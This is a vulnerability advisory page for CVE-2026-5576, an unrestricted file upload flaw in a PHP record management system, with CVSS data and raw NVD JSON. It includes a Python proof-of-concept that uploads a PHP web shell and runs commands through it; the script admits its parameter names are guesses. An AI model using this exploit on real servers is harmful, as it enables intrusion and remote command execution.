Security Vulnerability Report
中文
CVE-2026-5576 CVSS 4.7 MEDIUM

CVE-2026-5576

Published: 2026-04-05 16:16:19
Last Modified: 2026-04-29 01:00:02

Description

A flaw has been found in SourceCodester/jkev Record Management System 1.0. Affected by this issue is some unknown functionality of the file save_emp.php of the component Add Employee Page. This manipulation causes unrestricted upload. Remote exploitation of the attack is possible. The exploit has been published and may be used.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

SourceCodester jkev Record Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # Exploit Title: SourceCodester jkev Record Management System 1.0 - Unrestricted File Upload (RCE) # Date: 2026-04-05 # Exploit Author: Analyst # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/... # Version: 1.0 # CVE: CVE-2026-5576 import requests # Configuration target_url = "http://target.com/jkev_record_management/" login_url = target_url + "login.php" upload_url = target_url + "save_emp.php" shell_name = "shell.php" username = "admin" # Requires High Privilege (PR:H) password = "password" # Create a session session = requests.Session() # Step 1: Login (High Privilege Required) login_data = { "username": username, "password": password } print("[+] Logging in...") response = session.post(login_url, data=login_data) if "login_success" in response.text or response.status_code == 200: print("[+] Login successful!") else: print("[-] Login failed. Check credentials.") exit() # Step 2: Prepare malicious file (PHP Webshell) php_code = "<?php system($_GET['cmd']); ?>" files = { 'photo': (shell_name, php_code, 'application/octet-stream') } # Step 3: Upload the file via save_emp.php # Note: The parameter name 'photo' is an assumption based on typical employee forms. # Adjust 'photo' and other fields based on the actual form structure. upload_data = { 'firstname': 'Test', 'lastname': 'User', # ... other required fields ... } print(f"[+] Uploading {shell_name}...") response = session.post(upload_url, files=files, data=upload_data) if response.status_code == 200: print("[+] File uploaded. Attempting to execute...") # Step 4: Verify execution shell_url = target_url + "uploads/" + shell_name # Check path structure verify = session.get(shell_url + "?cmd=whoami") if verify.status_code == 200: print(f"[+] Shell accessible at: {shell_url}") else: print("[-] Upload might have failed or path is incorrect.") else: print("[-] Upload request failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5576", "sourceIdentifier": "[email protected]", "published": "2026-04-05T16:16:19.123", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in SourceCodester/jkev Record Management System 1.0. Affected by this issue is some unknown functionality of the file save_emp.php of the component Add Employee Page. This manipulation causes unrestricted upload. Remote exploitation of the attack is possible. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/whatyourname12345/CVE/blob/main/PRMS/cve_Arbitrary%20File%20Upload%20to%20RCE.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/783473", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355346", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355346/cti", "source": "[email protected]"}]}}